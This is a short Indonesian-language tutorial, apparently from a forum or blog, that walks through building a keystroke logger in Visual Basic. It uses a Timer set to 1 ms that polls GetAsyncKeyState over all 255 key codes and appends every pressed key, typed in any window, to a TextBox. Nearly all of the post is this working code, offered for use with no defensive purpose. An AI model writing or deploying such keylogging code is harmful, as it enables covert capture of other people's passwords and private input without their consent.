Bahan :
Visual Basic (Portable Boleh..)
1 buah Timer
1 buah Text box
caranya :
susun aja sesuai dengan keinginan anda semua....
1. Pas dah selesai ganti timer interval jadi 1
2. Didalam TextBoxnya (textnya) kosongin..
3. nahh..... klik kanan pada form > view code masukkan kode berikut
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
Dan selesai.. ENJOY..!!
